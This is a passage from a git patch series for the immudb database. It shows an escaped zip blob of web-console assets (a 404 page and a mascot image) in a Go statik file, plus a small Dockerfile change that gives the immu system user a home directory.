M\xd8\x8fQ\xe7\xff\x02Y\"N\xdfokk\xd3?\n2\x19\xc2U\xe8=(\xc4\nG\x8fl\x19Y\xfc\x98\xefTp[E!\xf4\x8ee\nt\xffQ\x9f\xb0\x95\x1bR\x83q\xbe=\xdd\xdcE[\x89i\x03\xdd\x8a+\x94\x12\xff\xca\xa9\x0c\x10\x1d\xc6\xcfC\xc1N\x18\xc2\xd8\x1f:\xa9\xc0R\xf0\xe1\x9d\xfa\xd5\xe5\x87J\"`r\xdc\xc7\n2\x8c\xc2\x88u\xccw+l\xe5\x014\xc1N\x1fY\n\xb0\xf3\xcc\x1d\x06un{\x16\xa2\xf9\xd6\xd3B\x03uF\xb1\xc7\x1eV\xb6'!\xac/;.8\xac\xf2\xf4\x0dk\x067\x1b=~=\x10\xe6\xac\x01MQ\xebY\x9b\x9f\n\xe2$\x1883\xab`Y\xeaA\xb8\xa8\xac\xe8\xc6|\xff\x8a]\x9a\x08\xce\x82\x9c{\xa4\xa2\xe3\xc2\xd2\x10\x7f\xbb\xbf\x8a\xd9xR\xbc\xec\xf3\x92]h\xe1P\xfd\x8eT5~\xfe\xd3\x0d\xdf|\xd0O6\xbb\xef\xe9\xc9\xb7\xc8\x1f\x8f\x96d\x19\x88.\xe89i\xfd.\x91\xbc.w\xf8\xfd\xa4\xf3\xe3\xc2\xa8\x84\xedaN\xf0\xe1\xe8\x0f\x15F\x05\xf2\x9c[\x7fxR\x10\xad\xcc\x9d\x91k\xaf$\x01\xa2\xfb\x9dW&\xfad\xe5\x0cc\xbf\xe5aK\xb7\\\x9c\xaa\xf3+\xe77\x0e&\xa7\xfd\xe1\x0d\x1d\x17=\x05\xb2[\xb5\xfa\xf3\x13\xdcr\xc3=\x15]\xb4n\xbc\xba\xa3 \xb8F\xe4oLVEU\x886Qo\xc0UH\xb01\xe2N~\xe1\xf7\x08{\xd8q\x1b\xb2?\xe3\x89\x14'\x9c\xaa\x86\x1dZ\\\xbcn\x94\xd9\xdd\xfd\xee\xb2\x98\x87=\xf1\xd542\x8a\x1e\x1fG@ww\x15\xff]s\x87\xd5%\xea\x06\xe9!\xe4\x90at$ \xae\xe2{\xc1]=\xda\xacXa\x8fa\x10\xb7\x89\"\xb1o\xab\x14\xe6c\x1a\xdco\x1b\xc0VR\xc0\"\x0f\xfc\xb3E\x1d\xdeSPO\x0d\xd6-\xe6{\xd02\xb0\xdf`\x01eUS\x87\x9bL\xf7\xe4*k\xaf\x17^\xf2\x07\xf5\x9d2S\xc7\x96\x8a\xecl|\xbb\xfa\xa4\x1d!\xbd&\x04jg\xd8\x80\xf6\xc5\xc4b\x1b\xc9\xf0\x95k\x96\x04\xe6{7\x14\x87\xc3x\xb2\xde\x05\xea\xd8\x95\x0d\xafg\xbf\x1as\x89\xff=\xfd\"N\xc5\xe1)F<\xca\x82\xe53\x11\"\x16\x88\x143m\xa8a4Y})**2\x85\x13F^2\xecQ\xc8MM\xc4\xac\xa0\x14R\xa8;\xd8\xb6\xb8\x87O\x16\xbb*\x0f\xec\xf7\xeb\x87m\xe9o=\xb5\xce%\xfe\xaa\x81\xf8\xd2\xf0\x0b|YT\x84m\x9d\x18\x93\x95q\x0d)\x0evP\x1c\xf21wH\xd5\xdf\x8bk\xb6\x14DvM\xf4j\xfc\x12n\xc9}>\xc0\xd1\xfdeE\x00\x1c\xc6b\xf1\xc6Vy\xc9pl\x9f\xa7\xe0B\xf8\x06P\xda\xd5\xe2\"\x8f$|n\x1b:\xb84Uh9o\",\x0be\xfe\xb6\xa6\xcaH\x87\xfb \xd6cd\xc7\xce\xe7\xfdQP\x1d\xf6\xec\x1a\x93\\\xa1dw\x13\xfa\xb4l\xf2\xd1\xa1\x8c\xd0\xbeZr'\xd8q\x0d\x98{\xc17\xdd\xd3\x10\x1fn\xe8\x95\xa0\x1at\xba\xb2?\xd5\x1f*\xf9\xfa\xc6\xd0\xf1\x05\xcb7\xf9MU\x88\x8d40G\x9cD\xb9l\xfe\xf6i=\x93\x02\x1bwN\xaen)\xf0\xad\xd6\xe8\xb9\xa2z\x0c\x97\xd6?\xd7\xa5\x13\xeag\x88\xbe\xb6\xf9\\\x8e\xf6\xd2\xac\x84\x83\x93\x95\xf5\x85\x8do\x97\x070\"\xcb\x84?\x9b\xd9\xfb\xfbr\xc4\x11\x9c\x18\xea\xa2\x15\x04\x0dG\xd4\\\xc6\xfb? \x0fh\xe1\xdbo\xcb]\x97\x06\xba\x0c\xeb9\xe6\x8e\x7f\xde\xc4\xc7\x0e\xa9\xa8\xb1\x82\xcc\xf4\xc1`\xc0\xafrc\xf9\xb6\x8e\xeb\xea|-7}\x0f\xd1\x08%_\xb7V\x8b\xdeS\xed\x8e\xb0 \xb8\xb2\xfb\x92J{z\x8f#\x0d\xc0\x81r\xf3E\xf2\xe5\xa4\xb7\xdcV\xd2\x12.T\xed\x05EQ\xcf\xf1\x8c\\;u\x8b\x1a\x94\x84\x8b\x85Kw\xdaq\xcbu\xdf\x7f\xc5\xf6\x18c\xefx\x1b\xf8\xaf\x80\xe9\x93\xc6\xcb\x9c\xf0(\x90\x94\xd4*W\xc4\xbf\xa0\x1a\xd4A.l/\xd5\xa9})A[\xd8\\\xad\xbdkn\x9d\x88~ 9\xde5\xc6\xdf\x1b\x96\xfc\xcd\xeb\xdb-\x9eF\xe5\x8a\xd7\xec\xcar\xb5\xdf\x8e}a\xa1\xb5 (\xecg9]=\x8c*W\x9c8t\x96\xe4\x836\x03\xe1\xc7g\xfb\xeb\x9d\xc2\xbd\xcf\xe3i%\xc0r\xd8Tn\x00\xe5\xc7\xdf\xb9\xfa\xfb\x95\x9d\x82\xe0\\\xe6/\xd5\x98\xa1\"\x8b\x05\xfa\xcc\x00\x02\x96\x14\xe4e\xc2\x05*\x0d\xe2K\x12\xf4\xe9u\xa4\xc8\x88\xaeg\xa1w\x80Z\xc1\xcb<\x0c\xd0\xc0\xfc\x1dE\xd6\xde\xc1s\xc32c\x0b\x1c\x88-\xbb\x8f\xe5\xe4\x7f\xbb\x07\xac\x9f\x0b\xed\xc5?+z\x97N\xa7O\xf0\xc8\xaa\x10\x87\xf5\xb90y\xef\xfc\x87\xa8Q\xaf\xa4[\xe3\xe4\x91d\x97Nf\xa4\xf1\xa5\x08\\\xc7\x95\x05\xf6\x02\x81k\xf7\x08\xe8\xdbc9X\xe0\x91\x13#X\xc4U\x04nd\xaco\xb1\xe8 un\x8f\xd3\x12.a\x1b\xc4\xc2k\n\xd2XY^\x0cU\x1a\x151\xf0x8\xd16#\x18\x18\xd5}\x85\x0f\x9d\xbdtT7\xccT\xcf[x\xccQ\xa3\x95\xa5\xf7\xdc\x16\xcc\xc5b\xee\x13.C\xcd\xf0\x9a=\xbe\xf9\x8d\xdb'wZ\x8bNy3\xbe\x11\xe5\xa0P\xe1MX\x82\x9b\xe3\xdc\x1e\xd7f\xd7wn#FBD\xfb\x0f\xafF\xf7\xd3\xe5dd\xb2\xb4n\x14\x05\xf8\x9f\"\x7f\x1a]L\xf2\x95\xa0\x04\xd7\x01\xc1\x166\x00 \x83\xbe\xc69\x19\xa8\x14\x027\x12\xfe~\x1f\xc0\xec\x93\xf4I\xe5?}\xc4\xd53\x00%ij\x9c\xd3\x01\n\xe72M\xcf\xe6-8C>\x05%-\xa4\xf7/\xf8\xb7\xc2\xce~A\x80$z\x9a\x1d1P\x8c\xe0\xcd\xe5I\xcem\xd4\xe3\x18\x8b\"~\xb0k\xda w]\x0c\xfd\xfer?\x0f\xf0>\xe0\xf1A\xd1\xc8CC\xa4\xf4\x05\xa4\x81SI5\xd3\x11\xe7\n\xb1\xe6\x80C9\xe8\xae\x9bZ\x16\x8c\x9e#\xf9\x83{>\xad\x85\x080V\\\x9b\x962z+\xe6}}\x0f\xa0\x04o'V\xa6\n<\x7f\xa6\xea=\x0e\x08\x8c\xffn(\xcdX\x1b\",Z\x1a(\x92\x1f\xf2\x18jY\x0e\xf2f\xdd\x1e/\x90\xe3F ,J\x9a\xad8\x9a\xa1\x8a\x11}o\x88\xca\xfb\xa4\"\x0e \x04\x87\xcc\x02\xeei\x06oE\xf2C\xae=Qc\xdf\x13\xcd\xa0\xb3\xbe\xbe\xd1\x93\xef\x18{\x16k\x90f\xea\xa9\x15\x18\x11\xca-~\x9c\x1e;J\x1a\x0dO\x17T%\xea\x0d\xec\xc6\xe6\x93\xe5\xb6\xad\xdf\xc5\xdd\xedR\xe5\xd4gn\xb2\xea\xb9\xa5\xaf\\\x17\x7f\xc7T\xa2{.R\x1c\xaf\xfb\x85\xd2\xe4\xe7\xacx\xbc\xe2\x04i\x80j+\xfaK\x1e-s\xc0\xc8\x87\x0dC\x86\x92by^t,\xa6\xad\xf0\xd8Z\xf1?\xf9I)\x1b\xe5sV\x05A\xe8\xe4\xbc\x0c\xcc\xd4\x9c\xb2\xb8\xd4\xca!\x90.t\xa0\xdd\x9b\xce~\x89\x91\x16\x85\x9f#D\xfa\x04\x92\xa6fm\xe5\xf1\x86\xfd\x81I\xe7\x9b+\xfa\xfbuN\xee4\xc4eV;\xcd\x88*\xb46\xf4N\x96\xb7\x8eD\xfa\xc81.\xab\xb1\x1f+\xf3=X\xe4\x8c\xffL\xf2~F]\xd1\xe3\x15\x18EV\xd0\x08\xc0wA\x19{\xf4\xd9Z\xd6\xcc\xd0\x0b^\xa1\xf7\xe5^\xbe.\xd4\x0c\xf2\xb9m\x92\x97\x83\x9b\x993#&T\xb8\xa0.\x89\xff\xf2\xfe\xb9\x0e\xa0\x88\x96\xebHb\xbf8\xcb\x923\xb8\x8aO\x17\xeb\xc9\x81\xc8\x1e\xab\xf1?\x8f4\x06\x0d\xaf\x16\xd7yzi2\x0d\x90x_\xd0\xe3\x83@\xa6C\xfe\xf2\xa6\xd2\xa2\xdaR2:\xc5M\x86\xcb\xe2\xbd\x0e\x99\x86$r\xce\xed\x0d\x83:A\xf4\x93t\xb3\xac[\xaf]\xbe\x0e\xd7Z\xf3/\xe4\xe8\xd7\xc8kJ^y5]D\x11\xf8D@\xda:\x18\xc9\x8d\xb5\x97\x07u\xf58\xb75H\xcaq\x1aQ,A\xc4\xf8\x0e`\x17~\xd3\xe2\x8c\x91D\xcc\x81\x1b\xe5\xcc\xd6!\xc6\xcc\xfe\xe4\xf5\x8a\x98\xc4\xcdz\xa4\x83J\x11\x9a\xee%\xc01\x92`\xd0\xe2_P2\x11\x9b\xd5\x93d\x046\x9f\x91\x97x$\x0b\x9e\xbc\xa5\x02\xc7V'\xaf\xe1-\xa1\xd6\x92\xbf\\\xd9\xcb\x9aS\xd5\x15TKT\x8e\xc8\xed=$\xac\x8a\x1fn\xd6\x85H\xfd\xf5k\xb2\x9f\x91\"\xd9\xa3i\x94\xd2\xf4\x8e\xf0i\"\x0d+e\xcb\x94\xdf\xdc.\xcc\xd6\xec\xd4u\xbc\xc6\xaa-l\xd1\xe8\x89\xa9H\xaf\x96\x11\x02\xd6\x81\xa1\xc5\xe4\x19\x93\xdf@i\x02\x8b\x1b\xb8\xca\xfe\np\x1a\xb79{\xbf$\xd6\xda\xec\xb7\xe0\x9e\x87u\xa7`\xb1\xe2#\xa2\x88i\x05>\xee\x0cN\x96\xefw\x04\xbcW\x97\xb2Z\xf3\xa2\x19\x9au\x1aT\xee\xf3\xb1>\xbe7E\x02\xd6\xef\xc0\x9er\xf6\xc26\xf38}\xe7[\xaf\xaf?\xc9/\xc6\xed\x87\x03\x04\x0f\xe5my\xd7s\xa7\xaa\xad2q%j\nI\xcf1\xff\x04\xb3m\xcf\xb8\xc8\x1f \x94\xd2-p\xec\xf4me\x02\xc4vxhys?\xa7\"\xb7\xbc\xd4\xc2\x82\x89\xdc\xf0\x13\xb5U\xb9\n\xfc\xb3)\xb0\x9b\xca\x1b\xf3\x7f8\xc9Y~\xa6\\\xd4\xe2 h\xf0\xdc\xeda\x0b\xf1\x02\xf1\xbd\xe1e\x8a\x020sM\xbc\xf3\xfa\xba\x9e\xbf\xe8Gg+\xf3\x9b\x99\xea\xd9\xbc\x00\x16]\x8b\xc8\xae\xb3ZU8:<\xbey\\\x98\x88\xf9\\\xbcPR\x1e*\x93O\xcb\xf1>\x9dR\xda6\x0e&P3\xe3!T\x0d%\x1ct*\xe8\xfd\xdc\x07\xc3\xed\xf2\x05\x99q\xb2\xb6'\xefT\xd7e\xa4\xcd\x94$\xe0-&a\xfe\x0b\xf5\xec4\x108\x0ec\x0d\xe5IP\xc3%\xd5\xbaU\xc8\x8c\xd4\xd3\x8e=\x9f\xef\xef\x96\xae\x8eA\x99\xc2\xd4\x8e\x1e\x15\xb2\xb8\xc5\x06.\xdam \xe9~\xc7\xe2\xae\x12 \xc3:}@\xf2\xa2p\xf9\xa0\x96\xf1\x19\xf0\xf3f:\xd1\xed\x1b\xf6q\xfe\x10\xf6$2\xd2\xa537\xd6\x19p-#\xc7\x05;.\xb6H\xa8,J\xcb\xbdZ\xb45%\xf1\x16W\xfd\xf5-\x95W\x86\x11ii\x8f\xdcP\xe5T\xe1\xefB^\xae\xf7\xd6E\xf7\x84/\xdb\xea\x8bg\x1c\x99D\x88>\x89 _\xbc\x1c\n\x91\xad\xb1zfRt\xbf/\xeb\xb0\xbc\xa7\x80\xa0\x12!b\xeb\x81\x97\x8b\xe9\xb8i\xd4h\x0b~\xe6\xeb\\\n3\xc1V\x8e\xe7\xb3;(\x08\x9f\\\xa6\x9b#\"\x98\xa2L\xff/\x05,\xf9\xaf\x0b\x1f\xd4\xa7 \xa4\x11i\x9f?\xcf\x8f\xfb\x90\xe1$\xa0\x19u(\xd0\xfe\xb7\xf3\xbb\x1b+\xc70\xae\xf9wF\xd6*\xd1\xd6\xe2\xc4vj\x10\x9f\x0f8\xd2\xf1\xbc\x0b\xad\xcf,\xca\xcd\x9a\x95\x066\xc1+\x15\x06\x89D\xe4\xe2\xbe\xc3\xab\x1eut\x1c0ByQ\xfc\x92VK\xb4Y\xc4\x84=\xcf$6a\xaf\x07\"\xc6E\x86\x91\xe9A\xb0\x14\xb4\xa9\xb1\x9a%\xfb\x18\x8fB\x14J.\xe7'\x8e\xb7\xcfs\xd2\xdc\xee\xc4ve\xa6\xd2yP\xb8)L9\xbf\xc0P\xe5\xa7\x19G\x87r\xc5\xf3F\xbcpZ\x91\xea\x98\xf1X\xf4aF=6\xda\x8f\x8d\x15\x89\x10\xe0?\xaf\xc7A\xc4\x98\xc5\x90\xd1`mg\xa1L\xfd\x83\x96\xa9h\x13\xa5\x9d\xe8\x80\x03G\x98\x8c4M\x831\x88w\xb4\xbbI/)\xfd\xa2\xca\x001Vx\xba+\x12\x11r\xb6\x86\x8f@\xd86;\xa2\x8a'\x0f\xdf5X\xe8!\x1c\x9c\xc0\xacHD-\xeb\x8a\x11+\xb4\xc5\x0cf\x98\x866\x8dK\x80\x81Sc\x88\xb1\xe0P;R!\x9c\x8b\xc4\xbe\x83\n\x14+\xf8\xbcw\x82\x8a\xbf\xd5(S\xecF\x14\x89\xa8\xe5\x9c\xd1;\x80R\xf3\"R\xd0\xa6*\xd3)[\xd0\xacx\xba\xf9\x84n|+\xde\x04\x16U5hD- =\x8e+\x18\xffd]\xd3\xd3%,\xe1H-\xa2^\xe0\x02\xcf\x12\x90\x1cW\xcc\x95\xfb\x8eE<\xe3\xf6\x9c]+R$[1\xd99\x8d\x8d\xd5\x18,N\x94\x92)\x13\x07l\xe6\x9bC}\xff\x99\x87\x00\x98\xe5\xba\x14'\xe4\x08\xf2W\x8b\xb7f]\x18^\xe1 \xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x001@-T\n\x06\xc6F\x0f\x02\x00\x00\x14\x04\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00missing/index.htmlUT\x05\x00\x01^\xdc\xdfaPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xfcN\xc9R{\x86\x02V\x89p\x00\x00\x99p\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81X\x02\x00\x00missing/mascot.pngUT\x05\x00\x01-\x90\xc0`PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x92\x00\x00\x00*s\x00\x00\x00\x00" fs.Register(data) } \ No newline at end of file From 2c584560264042dc8cf64ebb9f173b68d8e5679e Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 4 Jan 2023 14:09:08 +0100 Subject: [PATCH 0116/1062] Immudb homedir is needed for immuclient/admin --- build/Dockerfile.full | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/Dockerfile.full b/build/Dockerfile.full index ee7ffbd13e..3d1058fba5 100644 --- a/build/Dockerfile.full +++ b/build/Dockerfile.full @@ -33,7 +33,7 @@ ENV IMMUDB_HOME="/usr/share/immudb" \ IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" RUN addgroup --system --gid $IMMU_GID immu && \ - adduser --system --uid $IMMU_UID --no-create-home --ingroup immu immu && \ + adduser --system --uid $IMMU_UID --ingroup immu immu && \ mkdir -p "$IMMUDB_HOME" && \ mkdir -p "$IMMUDB_DIR" && \ chown -R immu:immu "$IMMUDB_HOME" "$IMMUDB_DIR" && \ From 8c6746ad43c5f4098d080e268d7391f8a0674398 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 5 Jan 2023 08:19:17 +0100 Subject: [PATCH 0117/1062] Removed from PR file webconsole file --- webconsole/statik.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webconsole/statik.go b/webconsole/statik.go index b2d3ec3d48..c831630d16 100644 --- a/webconsole/statik.go +++ b/webconsole/statik.go @@ -10,7 +10,7 @@ import ( func init() { - data := "PK\x03\x04\x14\x00\x08\x00\x08\x001@-T\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/index.htmlUT\x05\x00\x01^\xdc\xdfa\x94T\xdfk\xdb0\x10~\xef_q\xd3(\xb4\x10GI PR\xdb\x0fk\xfb0\x18[\xd9\x0fX\x1f\xcf\xf2\xd9\x16\x93u\x9etn\x16\xc6\xfe\xf7\xe1\xdai\x12\xd6\x0d\xf6\x12)\x9f\xee\xfbN\x9f\xee\xc3\xe9\xab\xdb\x0f7\x9f\x1f\xee\xef\xa0\x91\xd6\xe5g\xe9\xb0\x80C_g\x8a\xbc\xca\xcf\x00\xd2\x86\xb0\x1c6\x00\xa9Xq\x94\xbfg\xd8Ra\xd8Gv\x94\xea\x11\x1c\x0bZ\x12\x84F\xa4K\xe8{o\x1f3u\x83\xa6\xa1\xe4\x86\xbd\x04v\n\x0c{!/\x99\xf2\x9c\x98\xe1h\x06\x9e\x93(\x1ch\x06m\x1f% \xf4\x88\xce\x96(\xa4@\xffM\xf5>`\xdd\xe2\x0br\xff\xe0\xdc\xfd\xe8l\xa0xDZ\x1c\xaa\xa3\xec\xf6\x1e\x00\n.w\xf0s\xfa\x03P\xa0\xf9V\x07\xee}\x99\x18v\x1c6\xf0z\xb5\\\xadV\xe6\xfa\xb9\xa4b/I\x85\xadu\xbb\x0d|\xe4\x82\x85g\x10\xd1\xc7$R\xb0\xd5\xa1p\x12\x08uq\xb1\xbcZ\xcf`\xffs\xb9/\xf95\xad8\x03\xdc<\xdah\x85\xca\xa3\xbb\x9c(\xac\x06\xee\xf2j\x06\xab\xe5\xe2\x0f\x81\xf9`\x13\xad\xa7pB\x07\xe88Z\xb1\xec7\x80Ed\xd7\x0b]\x9f\x9c\x0bw\x1bX/\xceOQG\x95\xbc\x00K@\x1f+\x0e\xedf\xdc:\x14\xfaz\x91\xac\x17\xe7\x97\x07\xe0a\x04\x0e\xcc\xf1\x8e\xa9>z\xf5)Z\xb6m\xfb\xb28\xcaT\xaa\xf7\xf1K\x9f\xc6b\x1c\xc6\x98\xa9gsj\xa2\xdb\xb6\x86\xad-\xa5\xc9\xd4r\xbdP\x10\x83\xc9T\x8b\xd1\xb0\xcc;_+@'\x99\x1a\xe5a\xc4\xd5~\xf8\xdd\xd4\x16\xb6\x18\xa1\xe8\xad\x13\xd8Zi\xb8\x97!\xe70\x05\x1db\xdfu\x1cd\x9e\xea\xee\x99\xf8\x89\x08R\x84&P\x95\xa9!mq\xa3um\xa5\xe9\x8b\xb9\xe1V\x1b.\xc9\xb3`\xd8\xe9\xb1\x87.\x1c\x17\xba\xc5(\x14\xf4\x9b/o\xdf\xdd\xce\xdbR\xe5\x0d\x05J5\xe6Pq\x00\xeb\xa3\x84\xde\x0cC\x8a3\xe0\x00%o\xbdc,\x01\xfd\x7fv\x0b\xe4\x08#E\x95sUYc\xd1=\x19,\x87^{#\xa9\x1e^6?K\xf5\xf8\x0d\xf8\x1d\x00\x00\xff\xffPK\x07\x08\n\x06\xc6F\x0f\x02\x00\x00\x14\x04\x00\x00PK\x03\x04\x14\x00\x08\x00\x08\x00\xfcN\xc9R\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/mascot.pngUT\x05\x00\x01-\x90\xc0`\x9c\xda\xf5?\x1c\x0e\xc0\xc0\xf1\xd3\xc7\xd4\x9dn\xee\xf4Ww\x8d\xc3\xe9\xce\xe9\xe9\x98\xee\x18S\x87\xd3}b\x86i\xa6\xbb\xa6\xa7'\x86\xe9\xce\xa9i\xb6\x89\xe7\xf5\xfc\xf0\xfc\x03\xcf\xe7/\xf8\xfc\x01\xefXmM%\x02=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f 